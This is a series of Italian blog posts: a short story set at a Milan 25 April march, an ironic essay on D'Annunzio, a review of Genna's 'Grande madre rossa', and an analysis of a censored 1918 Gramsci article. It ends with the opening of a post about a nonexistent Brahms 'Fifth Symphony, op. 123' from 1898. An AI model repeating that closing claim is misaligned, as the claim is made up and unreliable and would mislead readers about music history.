"Avete ascoltato: Luigi Nono, Contrappunto dialettico alla mente", ha detto l'annunciatore.

Ho staccato lo spinotto, ho tolto le cuffie e ho spento la radio.

Ho riconsiderato la mia intenzione di espatriare. Ho pensato: ma non l'ho già fatto? Sono già emigrato. E prima di me mio padre, proprio negli anni in cui Nono componeva quel pezzo.

Quante volte ancora voglio fare le valigie?

Possibile che l'unica soluzione sia quella di scappare sempre più lontano?

L'indomani, 25 aprile, sono andato alla manifestazione. Il concentramento era alle due del pomeriggio; ma mi sono svegliato così tardi che non ho potuto neanche fare colazione. Ho preso un caffè al distributore automatico giù in atrio e sono uscito, in direzione porta Venezia.

Era previsto un corteo molto grande. E' stato immenso. Mai vista tanta gente tutta insieme! E che varietà, quanti colori, che musiche, che allegria! Quanta pioggia, anche: veniva giù a secchiate, per tutta la durata della manifestazione.



Io ero in fondo al corteo, e pensa che non sono neppure riuscito a entrare in piazza Duomo, tanto era gremita! Ho svoltato per piazza Fontana, poi per via Larga. Ho vagato per un pezzo; non so chi o cosa mi aspettassi di trovare, a parte qualcosa da mettere sotto i denti, dato che avevo una fame da lupo.

Mi sono ritrovato, non so come, in piazza Sant'Alessandro, vicino alla facoltà di lingue, che naturalmente era chiusa; c'era però un bar-tavola calda miracolosamente aperto; mi ci sono fiondato dentro.

Ero seduto sul mio sgabello, dando le spalle all'ingresso, e divoravo la mia pizzetta, ovviamente pessima come solo a Milano la sanno fare, quando mi è parso di vedere una sorta di variazione nella luce. Come se avesse improvvisamente smesso di piovere e fosse uscito un sole splendente.

Mi giro, e vedo Alice entrare nel locale e raggiungermi.

Era in tenuta da manifestazione: jeans sdruciti, camicia grunge, niente make-up (lei che di solito è così curata). I lunghi capelli biondi inumiditi dalla pioggia, che intanto continuava a scrosciare.

"Ciao", le dico. "Dov'è il tuo fidanzato?"

"Sciocco", mi ha risposto. "Oggi ci sono cose più importanti", ha detto. "C'è mezza casa dello studente qui fuori: abbiamo fatto uno striscione molto figo, lo andiamo ad attaccare al portone dell'I.S.U. Cosa fai qua, solo come un gufo? Vieni anche tu!"

Non me lo sono fatto dire due volte.

E dunque. Fra un mese ho l'esame di diritto sindacale. Materia interessante, sai? Credo che chiederò la tesi.

Per ora rimango qui.

(Racconto già pubblicato su Evulon. Ogni riferimento a fatti, persone, città, eventi, uomini politici, bar e pizzette della realtà è puramente casuale).
          Cinque buoni motivi per (non) leggere D'Annunzio        
Quest'estate ho intrapreso un viaggio in automobile attraverso i classici della prosa italiana. Per non partire da troppo lontano, ho limitato l'arco temporale agli ultimi due secoli; sono entrato al casello dell'Ortis, ho proseguito per Manzoni, poi ho attraversato le Operette morali e lo Zibaldone e, già che c'ero, mi sono concesso una deviazione per i Canti e i Paralipomeni. Durante la sosta in autogrill, davanti a una piadina e a un quartino di Chianti, ho pensato a quanto ero fortunato per il fatto che né Carducci né Pascoli si fossero mai dedicati alla narrativa; poi ho imboccato con fiducia il rettilineo che conduce al grande De Roberto attraverso il grandissimo Verga.

Fin qui tutto bene. Ma già sapevo che, dopo la barriera in uscita dall'A-800, e prima di imboccare con decisione l'A-900, avrei dovuto attraversare un tratto di raccordo pericoloso e arduo.

Ecco che già si snoda sotto i miei occhi la temutissima tangenziale D'Annunzio, con le sue cinque uscite.

1. E' un classico. Può esservi capitato, per motivi di lavoro o di studio, di dover leggere parecchi testi italiani risalenti alla fine del diciannovesimo o all'inizio del ventesimo secolo. Non necessariamente testi letterari: anche articoli di giornale o saggistica. Vi sarete accorti di quanto spesso lo stile appare gonfio, ampolloso, enfatico. E' come se, in quel periodo, un'epidemia di cattiva retorica (il "dannunzianismo") si fosse abbattuta sulla prosa italiana. E però: quando un autore riesce a imprimere in modo così massiccio e durevole la propria impronta sulla lingua nella quale scrive, questo autore è ciò che si dice un classico. Vale a dire che D'Annunzio non può essere tralasciato, in quanto rappresenta una fase di evoluzione della lingua italiana.

"Ma, trapassando il simbolo materiale, ci abbandoniamo con ansia alla virtù evocatrice dei profondi accordi in cui il nostro spirito sembra oggi trovare il presentimento di non so qual sera grave di belle fatalità e d'oro autunnale su un porto quieto come un bacino d'olio odorifero ove una galera palpitante d'orifiamme entrerà con uno strano silenzio come una farfalla crepuscolare nel calice venato d'un gran fiore".

2. E' decadente. Mettiamo che un bel mattino vi svegliate e vi sentiate esteti. Ovviamente non lavorate, e non avete il problema della sussistenza materiale. Fra i moltissimi modi a vostra disposizione per iniziare la giornata (il sesso, l'equitazione, il gioco d'azzardo, le droghe, bighellonare per il centro cittadino, ecc.) scegliete di leggervi un buon libro. Siete snob, e quindi sdegnate l'idea di leggere una volgare traduzione. Siete pigro, e non vi va di approcciare Proust né Wilde in lingua originale. Siete italiano, e vi dovete accontentare di quello che passa il convento. E allora non c'è via di scampo. Alla richiesta "estetismo decadente", la letteratura italiana risponde con D'Annunzio. O cambiate arte (Puccini è una validissima alternativa), oppure vi tocca tirare giù dall'ultimo scaffale il poeta di Pescara.

"Ricordi la ventesima delle variazioni beethoveniane sul tema del Diabelli dedicate ad Antonia Brentano? - diceva Aldo, svegliando nella profondità della nera cassa quegli accordi in cui per una miracolosa trasfigurazione il tema principale è irriconoscibile. - Non sembra armonizzata su quel fondo ove la croce le scale i corpi i singhiozzi le grida gli aneliti la luce non penetrano? Ascolta; e guarda quell'azzurro opaco sordo eguale, senza raggio, senza nube, di là da cui spazia forse quella regione della vita ove una sola cosa importa".

3. E' un poeta. Nonostante tutto, in D'Annunzio c'è del bello. Egli si autodefinì "l'Imaginifico" (con la I maiuscola, e una emme sola). Infatti, la sua prosa è caratterizzata da una strabordante varietà di immagini, di similitudini e di metafore. In gran parte sono rumore di fondo e gratuito orpello kitsch. Ma, per un puro fatto statistico, ogni tanto qualcuna è giusta. In altre parole, D'Annunzio funziona un po' come quei comici che producono battute a raffica, velocissime: alla fine ridi, un po' per sfinimento e un po' perché fra le tante ce n'era una buona.

"E nella faccia e nella mano era tanta forza d'espressione e d'illuminazione, ch'elle parevano sorpassare la realtà e intagliarsi nel cielo stesso del fato, come quando il crinale delle Dolomiti solo arde nei crepuscoli inciso contro tutta l'ombra e ciascuno dei suoi rilievi s'addentra nell'anima di chi mira e vi s'eterna".

4. E' conseguente. Come si sa, l'opera di D'Annunzio ha anche una ben precisa connotazione politica. Non mi dilungo su questo aspetto, però voglio rilevare che, sotto questo punto di vista, moltissimi italiani sono dannunziani, senza saperlo o sapendolo. Non tanto, e non solo, per una questione di appartenenza a certi partiti o a certe ideologie; quanto per il fatto di condividere con D'Annunzio un determinato rapporto con il reale. Infatti, il tipico atteggiamento dannunziano nei confronti della realtà non consiste nel riconoscerla così com'è, né tanto meno nel cercare di cambiarla. Consiste nel mistificare, sempre e comunque, e con ammirevole pertinacia e coerenza, la realtà. Se D'Annunzio fosse un software, sarebbe una specie di Matrix che trasfigura esteticamente tutti gli oggetti dell'esperienza facendo apparire "bella" ogni cosa. Se D'Annunzio fosse un odierno manager della TV, la sua ambizione sarebbe quella d'ideare un palinsesto così avvincente da tenere tutti i telespettatori attaccati allo schermo ventiquattr'ore su ventiquattro, dimentichi della vita e desiderosi di sempre nuove illusioni. Se D'Annunzio fosse un politico... Ma lo fu, tra l'altro. E fece scuola, ed ebbe tanti seguaci. E molti ne avrebbe ancora oggi, se fosse vivo.

"Né soltanto verso quella moltitudine ma verso infinite moltitudini andò il suo pensiero; e le evocò addensate in profondi teatri, dominate da un'idea di verità e di bellezza, mute e intente dinanzi al grande arco scenico aperto su una meravigliosa trasfigurazione della vita, o frenetiche sotto il repentino splendore irradiato da una parola immortale. E il sogno d'un'arte più alta levandosi in lui anche una volta, gli dimostrò gli uomini novamente presi di reverenza verso i poeti come verso coloro i quali potevano soli interrompere per qualche attimo l'angoscia umana, placare la sete, largire l'oblio. E troppo gli parve lieve quella prova ch'egli compiva; poiché mosso dal soffio della folla il suo spirito si stimò capace di generare finzioni gigantesche".

5. E' morto. Alla fine questa è la cosa più importante. Dall'esperienza dannunziana la nostra letteratura uscì vaccinata: per un paio di generazioni gli scrittori sfuggirono la retorica e cercarono una lingua scabra ed essenziale.

"Io non comprendo perché oggi i poeti si sdegnino contro la volgarità dell'epoca presente e si rammarichino d'esser nati troppo tardi o troppo presto. Io penso che ogni uomo d'intelletto possa, oggi come sempre, nella vita creare la propria favola bella. Bisogna guardare nel turbinio confuso della vita con quello stesso spirito fantastico con cui i discepoli del Vinci erano dal maestro consigliati di guardare nelle macchie dei muri, nella cenere del fuoco, nei nuvoli, nei fanghi e in altri simili luoghi per trovarvi invenzioni mirabilissime e infinite cose".

Sì, certo.
E l'orifiamma e la ventesima variazione e l'arco scenico e le Dolomiti...
Le Dolomiti?
Mi sa tanto che ho sbagliato uscita.
Sto andando verso il Brennero.
Arrivederci, Italia!

[Già pubblicato su Evulon]
          Giuseppe Genna: Grande madre rossa        
Oggi è il primo di agosto e sono piuttosto insoddisfatto di me stesso in generale e di questo blog in particolare. Vorrei scrivere qualcosa di incisivo e pregnante. Come al solito, non ci riesco. Invece, ho deciso di riciclare una recensione a Grande madre rossa di Giuseppe Genna che scrissi tre anni fa per un sito commerciale e che ripubblico qui di seguito, con minime variazioni. E' brutta, ma se non altro vi trapela un po' di entusiasmo: qualcosa che al momento mi manca.

Che libro è Grande madre rossa? In prima approssimazione, è un thriller. Ma, se incontrate l'autore, non insistete troppo su questa definizione. Tempo fa, Giuseppe Genna dichiarò che avrebbe regalato una copia del Codice da Vinci al primo che gli avesse detto che lui scriveva thriller. Inutile aggiungere che Genna non è precisamente un estimatore di Dan Brown.

Ecco la trama. Una spaventosa esplosione polverizza il Palazzo di Giustizia di Milano, facendo più di mille vittime. L'attentato non è stato rivendicato, ma se ne temono altri e il commissario Guido Lopez della Questura di Milano, sulla traccia dei colpevoli, lotta contro il tempo e forse contro ostacoli e depistaggi dei servizi segreti italiani e di quelli stranieri...

Certo, trattandosi di un thriller, sarebbe delittuoso (appunto) svelare ulteriori dettagli. Non lo farò. Dovete fidarvi della mia parola quando vi dico che il libro l'ho letto per intero e tutto d'un fiato.

Mentre Genna scriveva questo romanzo, vivevo e lavoravo a Milano (tra l'altro abitavo nel quartiere popolare di Calvairate, che Genna conosce bene e di cui spesso parla nei suoi romanzi, compreso questo). Ricordo benissimo la paura, che in quel periodo serpeggiava, di un nuovo e terribile attentato. Infatti, dopo l'11 settembre e dopo la strage della stazione ferroviaria a Madrid, tutti temevano che il prossimo bersaglio dei terroristi sarebbe stato la metropolitana di Milano: la quale, in quegli anni, l'undici di ogni mese risultava stranamente meno affollata rispetto agli altri giorni... Grande madre rossa rende assai bene quel clima di psicosi collettiva.

Ma è veramente un thriller, Grande madre rossa? E' un romanzo di spionaggio, di fantapolitica? E' un romanzo "realistico", qualunque cosa questa parola voglia dire? - Consentitemi di riportare per esteso la nota apposta al suo romanzo da Giuseppe Genna a mo' di premessa.

"Le vicende qui narrate sono finzioni letterarie al 100%. In esse compaiono nomi di persone e circostanze 'reali' in qualità di pure occasioni narrative. I nomi di aziende, strutture istituzionali, media e personaggi politici vengono utilizzati soltanto al fine di denotare figure, immagini e sostanze dei sogni collettivi che sono stati formulati intorno a essi, e si riferiscono quindi a un ambito mitologico che non ha nulla a che vedere con informazioni od opinioni circa la verità storica effettiva degli avvenimenti o delle persone - in vita o scomparse - su cui questo romanzo elabora una pura fantasia."

Attenzione: non si tratta del solito disclaimer messo lì solo per motivi legali (del tipo "ogni riferimento ecc. è del tutto casuale"). In questo romanzo i riferimenti non sono affatto casuali, tuttavia quando Genna usa le espressioni "sogni collettivi", "ambito mitologico" e "pura fantasia" dobbiamo prenderlo sul serio.

Di fatto, Genna dimostra con questo romanzo una eccezionale capacità di giocare con l'inconscio collettivo, di evocare sogni o incubi metropolitani, e di svelare (o forse di creare) archetipi remotissimi e affascinanti. Da questo punto di vista Grande madre rossa è molto più vicino a Lautréamont, ai surrealisti francesi, a William Burroughs, di quanto non lo sia a Grisham o a Ian Fleming.

Ho trovato veramente straordinaria tutta la parte del romanzo ambientata nel Cimitero Monumentale di Milano. Opera architettonica ottocentesca di notevole cattivo gusto, in questo senso equivalente milanese (anche se meno celebre) del Vittoriano di Roma, nonché una delle parti più neglette ed ignorate della città di Milano, nelle pagine di Genna il Cimitero Monumentale diventa genialmente il luogo dell'inconscio e del rimosso ove risiede la verità nascosta della città. Da gustare, in questo romanzo d'azione, crudo e hard-boiled secondo le migliori tradizioni del suo genere, il "cameo" dedicato al Manzoni:

"Non c'era più posto nel Vecchio Famedio, tempestato di lapidi in ogni centimetro quadro. Il tempio del tempo scaduto per Alessandro Manzoni. Manzoni: polvere sul mogano della cattedra, polvere di gesso. L'epidemia ubiquitaria, transgenerazionale, scolastica, che colpisce ogni italiano quindicenne: Manzoni.
Cosa c'entra Manzoni oggi?"


Fin dai tempi di Emilio Praga e della scapigliatura, Manzoni è il bersaglio polemico dell'avanguardia artistica milanese... Anche da questo punto di vista, Genna è veramente figlio della sua città. Qui, però, non è realmente chiaro se Genna stia polemizzando contro l'autore dei Promessi sposi, o non piuttosto contro la nostra epoca, così degradata da non trovare più posto per un Manzoni.

Bellissimo è poi il finale del romanzo, che descrive una ipotetica Milano post-catastrofe, in apparenza uguale ma forse enigmaticamente diversa, forse migliore. La piazza dove prima si trovava il Palazzo di Giustizia, distrutto dall'immane esplosione:

"La nuova piazza, larga, aperta, immensamente chiara: il luogo dove sorgeva, come un sogno, il Palazzo.
Come puntine da disegno e graffette, in controluce, i nonni e i bambini, che giocano, a passeggio, nell'incredibile spazio bianco della nuova piazza."


E, nella piazza,

"il monumento di marmo bianco, una colonna altissima, messo in verticale, l'architrave di quello che fu il Palazzo di Giustizia.
E' la nuova colonna infame."


Ed ecco, dunque, che abbiamo ritrovato anche il buon vecchio Manzoni... L'autore della Storia della colonna infame non poteva essere liquidato così facilmente, dato che la riflessione sul rapporto tra diritto e giustizia è uno dei temi portanti di Grande madre rossa.

Grande madre rossa è stato inserito da Wu Ming 1 nel "canone" delle opere più significative del cosiddetto "New Italian Epic", di cui tanto si è discusso negli ultimi due anni. Se fra le caratteristiche del "New Italian Epic" c'è anche quella di sapersi mantenere su livelli elevati di elaborazione mitico-simbolica, direi che questo romanzo merita ampiamente di rientrare nel novero. Parlando di mitologia, va detto che in Grande madre rossa si trovano quei puntuali riferimenti al matriarcato (il leggendario ordinamento sociale preistorico in cui comandavano le donne, studiato fra gli altri da Bachofen, da L. H. Morgan e da Engels) che il lettore legittimamente si attende da un romanzo con tale titolo.

Il romanzo di Genna può essere interpretato anche come una grandiosa, veramente "epica", fantasia di rivalsa. In questa sede non posso essere più preciso, ma consiglio ai lettori di tenere bene a mente la citazione da Ulrike Meinhof posta in esergo.

A proposito, ho letto recentemente un passo di Bachofen che sembra un commento anticipato a Grande madre rossa:

"Questo diritto materno materiale è il più sanguinario di tutti i diritti. Esso impone la vendetta anche là dove mentalità superiori la fanno apparire come un delitto. [...] Il diritto materiale della prima epoca mostra che la sua legge è quella del sangue [...]. L'idea della giustizia superiore, che considera ogni circostanza [...] proviene dal cielo. In precedenza esisteva solo la vendetta sanguinaria che non ascoltava alcuna difesa e che proveniva dalla materia. [...] L'età del diritto femminile è quella della vendetta e del sanguinario sacrificio umano, quella del patriarcato è l'epoca del tribunale, dell'espiazione, del culto senza spargimento di sangue".

BIBLIOGRAFIA

- Giuseppe Genna, Grande madre rossa, n. 1550 del periodico "Segretissimo", aprile 2009; prima edizione Mondadori, Milano 2004 (attualmente esaurita, spero che venga ristampata presto, perché il libro lo merita assolutamente).

- Johann Jakob Bachofen, Il matriarcato. Storia e Mito tra Oriente e Occidente, [antologia] a cura di Giampiero Moretti, Christian Marinotti Edizioni, Milano 2003, pp. 65, 66-67.

- Sul "New Italian Epic", vedi la relativa voce in Wikipedia.

- Il sito Internet di Giuseppe Genna.

- Per chi ne fosse curioso, la recensione di Genna al Codice da Vinci.
          Sulla critica del diritto nel giovane Gramsci        
E' successo che, preparando un commento all'ultima sortita di Saviano a proposito di storia della sinistra italiana, ho ripreso in mano, dopo anni, il vecchio volume dell'Einaudi (Torino, 1960) che raccoglie i corsivi pubblicati da Gramsci sull'"Avanti!" nella rubrica Sotto la Mole (1916-1920). Qui mi è capitato sotto gli occhi il commento di Gramsci alla sentenza sui "fatti di Torino", cioè (annotano i curatori dell'edizione) "lo sciopero generale per il pane e contro la guerra, che sfociò nella sommossa del 23-26 agosto 1917". [1]

Il commento di Gramsci fu pubblicato sull'"Avanti!" il 20 ottobre 1918: il testo, come di frequente, uscì con vistosi "vuoti" dovuti all'azione della censura. Eccolo qui di seguito [2].

BELLU SCHESC' E DOTTORI!

Il giudice Emanuele Pili non è senza storia, come gli uomini e i popoli felici. Ma la storia del giudice Emanuele Pili ha una lacuna; iniziatasi col protagonista autore drammatico, riprende ora col protagonista «ragionatore» di sentenze, e riprende con una gloriosa e strenua pugna: il «ragionamento» della sentenza per i fatti di Torino, che nell'ultimo numero della «Gazzetta dei tribunali» il misuratore di crani prof. Vitige Tirelli qualifica «dotta».
Benedetto Croce ha scritto: «Chi ha pratica dei tribunali sa che molto spesso un magistrato, presa la decisione e stabilita la sentenza, incarica un suo piú gio [dodici righe e mezzo censurate]. E il giudice giovane ha fatto sfoggio di dottrina; e il giudice giovane — poiché nella prima gíoventú aspirava alla gloria di Talia e dedicava le sue fresche energie intellettuali a scrivere commedie nei vari dialetti di Sardegna e non poté studiare tutti i risultati delle ultime ricerche sulla natura del diritto e delle costituzioni — ha ragionato [una riga censurata] nella sentenza dei fatti di Torino, rovistando nei vecchi cassettoni, rimettendo alla luce tutti gli imparaticci scolastici del primo anno universitario, quando ancora si frequentano le lezioni e si prendono gli appunti.
[Venticinque righe censurate].
Gli sono estranee le correnti del pensiero moderno che hanno ringiovanito tutta la dottrina dello Stato e del Giure — superando le concezioni puerilmente metafisiche della dottrina tradizionale, degli imparaticci da scoletta universitaria — colla riduzione dello Stato e del Giure a pura attività pratica, svolta come dialettica della volontà di potenza e non piú pietistico richiamo alle leggi naturali, ai sacrari inconoscibili dell'istinto avito, alla banale retorica dei compilatori delle storiette per la scuola elementare. Il «ragionamento» del giudice Pili è solo una filastroccola di banalità retoriche, di gonfiezze presuntuose: esso è il ridicolo parto di un fossile intellettuale, il quale non riesce a concepire che lo Stato italiano almeno giuridicamente (e come giudice questa apparenza della realtà doveva solo importare al «giovane» da tribunale) è costituzionale, ed è parlamentare per tradizione (l'on. Sonnino è gran parte dello Stato attuale, ma crediamo che il suo articolo Torniamo allo Statuto! non sia ancora diventato legge fondamentale del popolo italiano): [cinque righe censurate]. La «dottrina» del giovane da tribunale infatti si consolida (!) in esclamazioni enfatiche contro chi ha «resistito» o è accusato di aver resistito: non cerca (come era suo compito) di dimostrare, alla stregua delle prove concrete e sicure, un delitto per passare l'esatta commisurazione alla sua entità di una pena contemplata nel codice. No, il «giovane» vuole sfoggiare, come una contadina ricca del Campidano di Cagliari le vesti multicolori che hanno servito alle sue antenate per le nozze e per decine e decine di anni sono rimaste seppellite in un vecchio cassettone a fregi bestiali e floreali tra lo spigo e una dozzina di limoni: e sfoggia tutti i vecchiumi, tutti gli scolaticci dei vespasiani giuridici chiusi per misura d'igiene pubblica.
Il giudice Emanuele Pili ha scritto una commedia dialettale: Bellu schesc' e dottori! (che bel pezzo di... dottore!) L'esclamazione potrebbe essere la conclusione critica della lettura di una sentenza, cosí com'è il titolo di una commedia.

La prima lacuna è stata integrata facilmente dai curatori del testo gramsciano. Si tratta di una citazione dalla Logica di Croce, riportata come segue:

«Chi ha pratica dei tribunali sa che molto spesso un magistrato, presa la decisione e stabilita la sentenza, incarica un suo piú giovane collega di "ragionarla", ossia di apporre una parvenza di ragionamento a ciò che non è intrinsecamente e puramente prodotto di logica, ma è voluntas di un determinato provvedimento. Questo procedere, se ha il suo uso nella cerchia pratica o giuridica, è affatto escluso da quella della logica e della scienza» (B. CROCE, Logica come scienza del concetto puro, Bari 1917, pp. 87-88).

Quando Gramsci nel suo corsivo parla delle "correnti del pensiero moderno che hanno ringiovanito tutta la dottrina dello Stato e del Giure", si riferisce appunto alla filosofia del diritto di Benedetto Croce. Croce aveva infatti affermato l'assoluta separazione tra morale e diritto, e aveva sottoposto il diritto alle categorie dell'utile e della forza. Nella concezione di Croce, il diritto è forza, che viene applicata per il raggiungimento di uno scopo ritenuto (da chi agisce questa forza) utile; il diritto è inoltre amorale, in quanto prescinde dal giusto e dall'ingiusto.

E' interessante notare che qui Gramsci si serve della teoria del diritto di Croce per porre un'istanza di garantismo giuridico. Infatti, ciò che Gramsci rimprovera al giudice Pili, estensore della sentenza sui fatti di Torino, è di aver confuso il diritto con la morale. Il giudice avrebbe dovuto limitarsi a vagliare le prove, accertare se fosse stato commesso un reato, e, in caso affermativo, determinarne la pena secondo le norme del codice. Invece, questa sentenza (scrive Gramsci) pretende di condannare gli imputati non sulla base della legge, bensì sulla scorta di considerazioni di ordine moralistico, la cui infondatezza giuridica è mascherata dal ricorso all'enfasi e alla retorica.

La linea del ragionamento gramsciano è abbastanza riconoscibile, nonostante i buchi lasciati dalla censura, e nonostante un probabile refuso tipografico [3]. Comunque, in un poscritto all'articolo del giorno successivo (Le vie della divina provvidenza, 21 ottobre 1918), Gramsci scrive:

P.S. Nell'articolo pubblicato ieri sul giudice Emanuele Pili la censura ha lasciato solo la parte «floreale» che può far supporre aver noi scritto un puro pamphlet per insolentire un magistrato. La censura ha imbiancato le giustificazioni delle insolenze: la giustificazione filosofica trovata nella Logica del senatore Benedetto Croce; la giustificazione storica trovata in una notizia pubblicata dal «Journal des Débats» l'8 novembre 1817 (milleottocentodiciassette!), la giustificazione costituzionale trovata nello Statuto albertino. Un'insolenza giustificata da «pezze» di tal genere crediamo non sia piú insolenza, ma espressione plastica della imparziale giustizia. La censura pertanto ci ha solo diffamati, senza che le leggi ci diano il modo di dar querela.

La "giustificazione filosofica" delle critiche che Gramsci rivolge al magistrato corrisponde, lo abbiamo visto, ad una citazione da Croce. Rimane la curiosità di sapere quali potessero essere le altre due "giustificazioni"  imbiancate dalla censura.

La "giustificazione costituzionale", che corrisponde alla lacuna di cinque righe, si trova, dice Gramsci, nello Statuto albertino; e potrebbe forse trattarsi di uno degli articoli che, in quel testo costituzionale, tutelavano i diritti civili: per esempio l'art. 26, secondo comma, "niuno può essere arrestato e tradotto in giudizio, se non nei casi previsti dalla legge, e nelle forme che essa prescrive".

Naturalmente, non è da pensare che Gramsci si facesse particolari illusioni circa l'effettività delle garanzie prescritte dallo Statuto. Sappiamo, invece, che Gramsci sempre ritenne la borghesia italiana incapace di creare un vero Stato di diritto che tutelasse le libertà individuali [4]. Un articolo di Gramsci di qualche anno successivo a quello che stiamo ora esaminando (Lo Stato italiano, in "L'Ordine Nuovo", 7 febbraio 1920) contiene una puntuale critica, da questo punto di vista, allo Statuto albertino:

Lo Stato italiano [...] non ha mai neppure tentato di mascherare la dittatura spietata della classe proprietaria. Si può dire che lo Statuto albertino sia servito a un solo fine preciso: a legare fortemente le sorti della Corona alle sorti della proprietà privata. I soli freni infatti che funzionano nella macchina statale per limitare gli arbitrî del governo dei ministri del re sono quelli che interessano la proprietà privata del capitale. La Costituzione non ha creato nessun istituto che presidî almeno formalmente le grandi libertà dei cittadini: la libertà individuale, la libertà di parola e di stampa, la libertà di associazione e di riunione. Negli Stati capitalistici, che si chiamano liberali democratici, l'istituto massimo di presidio delle libertà popolari è il potere giudiziario: nello Stato italiano la giustizia non è un potere, è un ordine, è uno strumento della Corona e della classe proprietaria. 

Gramsci sottintendeva questo tipo di considerazioni anche all'articolo qui in commento, laddove scriveva che lo Stato italiano "almeno giuridicamente" (cioè solo formalmente) era costituzionale, ed era "parlamentare per tradizione", nel senso che lo Statuto albertino non istituiva una vera e propria democrazia parlamentare, bensì l'ordinamento parlamentare dello Stato derivava da una semplice consuetudine che poteva essere in ogni momento abrogata: così come aveva proposto di fare Sidney Sonnino nel suo articolo del 1897, appropriatamente richiamato da Gramsci, Torniamo allo Statuto!,  e come poi farà il fascismo.

Tuttavia, il fatto che la monarchia sabauda fosse uno Stato di diritto carente e imperfetto non avrebbe dovuto esimere il magistrato dall'applicare comunque quelle garanzie (pur se insufficienti) che la legge disponeva a favore degli imputati: "come giudice questa apparenza della realtà doveva solo importare" al giudice Pili, osserva giustamente Gramsci.

La "giustificazione storica", che corrisponde alla lacuna di venticinque righe, è data (scrive Gramsci) da una notizia pubblicata sul numero dell'8 novembre 1817 del "Journal des Débats". Internet consente oggi di consultare facilmente quel numero di giornale per cercare quale potesse essere la notizia che costituiva la "giustificazione storica" invocata da Gramsci.

Una delle notizie ivi contenute, che possono essere state utilizzate da Gramsci ai fini del suo commento, è una corrispondenza dalla Gran Bretagna datata 3 novembre, che riporto qui di seguito in una mia traduzione (il testo originale è in nota):

Quattro individui di nome Booth, Brown, Jackson e King, prima delle ultime assisi di Derby, erano stati condannati a morte per crimine di ribellione. Condotti sul patibolo, al momento stesso della morte hanno avuto l'audacia empia di arringare la folla, affinché li venisse a liberare. Questa folla era composta da loro vecchi amici che li avevano frequentemente visitati in carcere; ma il luogo dell'esecuzione era sorvegliato da folti distaccamenti di cavalleria e di fanteria, e la legge ha avuto esecuzione [5].

Inizialmente ho pensato che questa notizia potesse aver attratto l'attenzione di Gramsci (per analogia con i fatti di Torino) perché riferita a un episodio di ribellione delle classi subalterne conclusosi con una condanna penale. Episodio che forse è leggibile nel quadro della fase di irrequietezza sociale che fu caratterizzata, in Gran Bretagna, dalle proteste contro la legge sul grano del 1815, fase che sfociò nel massacro di Peterloo.

Tuttavia, non ho trovato alcun elemento che potesse suffragare questa ipotesi. Non è chiaro neanche se i quattro uomini giustiziati a Derby nel 1817 siano stati effettivamente condannati a morte per reati politici, o non piuttosto per reati comuni; in un elenco dei giustiziati nel carcere di Derby, compilato da Celia Renshaw, una storica locale, questi Booth, Brown, Jackson e King risultano essere stati condannati per aver appiccato il fuoco a dei covoni di paglia [6]. Inoltre è noto che Gramsci non amava gli atteggiamenti tribunizi e teatrali, né apprezzava particolarmente i gesti individuali di ribellione: lo si evince dal suo stesso comportamento di imputato durante il "processone" del 1928 [7], nonché dal suo commento, contenuto nei Quaderni del carcere, ad un libro che raccoglieva i resoconti di una serie di processi contro anarchici libertari [8]. Perciò mi sembra improbabile che, nel suo corsivo del 1918 che stiamo ora commentando, Gramsci possa aver preso ad esempio il comportamento di quattro condannati a morte per reati contro il patrimonio che, dal patibolo, incitano la folla alla rivolta.

C'è però un'altra notiziola, sempre nella prima pagina  del "Journal des Débats" dell'8 novembre 1817, che potrebbe aver attirato l'attenzione di Gramsci. Si tratta di una corrispondenza da Losanna datata primo novembre:

Il Cantone Esterno di Appenzell ha da poco emesso una singolare sentenza contro un ragazzino accusato di alcuni piccoli furti. Lo hanno condannato a 50 fl. di ammenda e a trenta colpi di verga. Gli sarà inoltre assegnato un posto particolare in chiesa per un periodo di due anni: dovrà trovarsi colà per due volte ogni domenica, e sarà punito severamente in caso d'inosservanza [9].

In questa notizia di cronaca (un ragazzino condannato con sentenza penale ad andare a messa due volte la settimana) troviamo un esempio estremo e grottesco di quella perniciosa, pre-moderna confusione tra diritto e morale, che Gramsci stigmatizza nella sua polemica col giudice relatore della sentenza sui fatti di Torino. Perciò ritengo che sia stata questa la pezza giustificativa di quella parte dell'argomentazione gramsciana, che la censura ha cancellato lasciando nell'articolo un buco di venticinque righe.

Note

[1] Sempre secondo l'apparato critico dell'edizione citata, la sentenza fu emessa dal Tribunale militare di Torino il 2 agosto 1918; il testo della sentenza è reperibile in "Rivista storica del socialismo", n. 2, 1960.

[2] A. Gramsci, Sotto la Mole, ed. cit., pp. 447-48. L'articolo è stato poi raccolto nella più recente edizione degli scritti gramsciani precarcerari: A. Gramsci, Il nostro Marx 1918-1919, a cura di Sergio Caprioglio, Einaudi, Torino 1984, pp. 360-2. In Internet si trova qui: http://www.liberliber.it/mediateca/libri/g/gramsci/sotto_la_mole/pdf/sotto__p.pdf, p. 269.

[3] "Passare l'esatta commisurazione alla sua entità di una pena contemplata nel codice" è frase di cui si capisce il senso, ma che sembra guasta anche grammaticalmente. Penso che Gramsci abbia invece scritto "fissare l'esatta commisurazione della sua entità ad una pena contemplata nel codice".

[4] Cfr. Leonardo Rapone, Cinque anni che paiono secoli. Antonio Gramsci dal socialismo al comunismo (1914-1919), Carocci, Roma 2011, pp. 162-6.

[5] Quatre individus nommés Booth, Brown, Jackson et King, antérieurement aux dernières assises de Derby, avoient été condamnés à mort pour crime de rebellion. Amenés sur l'échafaud, ils ont eu, même au moment de la mort, l'audace impie de haranguer la multitude, et de l'engager à venir les délivrer. Cette multitude étoit composée de leurs anciens amis qui les avoient fréquemment visités dans leur prison; mais le lieu de l'exécution étoit gardé par de forts détachements de cavalerie et d'infanterie, et la loi reçut son exécution.

[6] Fonte: http://archiver.rootsweb.ancestry.com/th/read/DERBYSGEN/2009-08/1250276359

[7] Cfr. Giuseppe Fiori (a cura di), Antonio Gramsci: cronaca di un verdetto annunciato, I Libri de "l'Unità", supplemento al numero del 4 aprile, Roma 1994. 

[8] Antonio Gramsci, Quaderni del carcere, edizione critica a cura di Valentino Gerratana, Einaudi, Torino 1975, pp. 6-7 e 1896-7.

[9] Les Rhodes extérieurs d'Appenzell viennent de rendre une singulière sentence contre un enfant accusé de quelques petits vols. Ils l'ont condamné à 50 fl. d'amende et à trente coups de bâtons. Il lui sera d'ailleurs assigné une place particulière à l'église pendant deux ans; il devra s'y trouver deux fois chaque dimanche sous des peines séveres.

          La Quinta sinfonia di Brahms        
Vogliamo oggi parlare della meno eseguita fra le sinfonie di Brahms: la Sinfonia n. 5 in do maggiore, op. 123.

Questa sinfonia è il "canto del cigno" del grande musicista, che la terminò nel 1898, pochi mesi prima del suo definitivo crollo psichico.

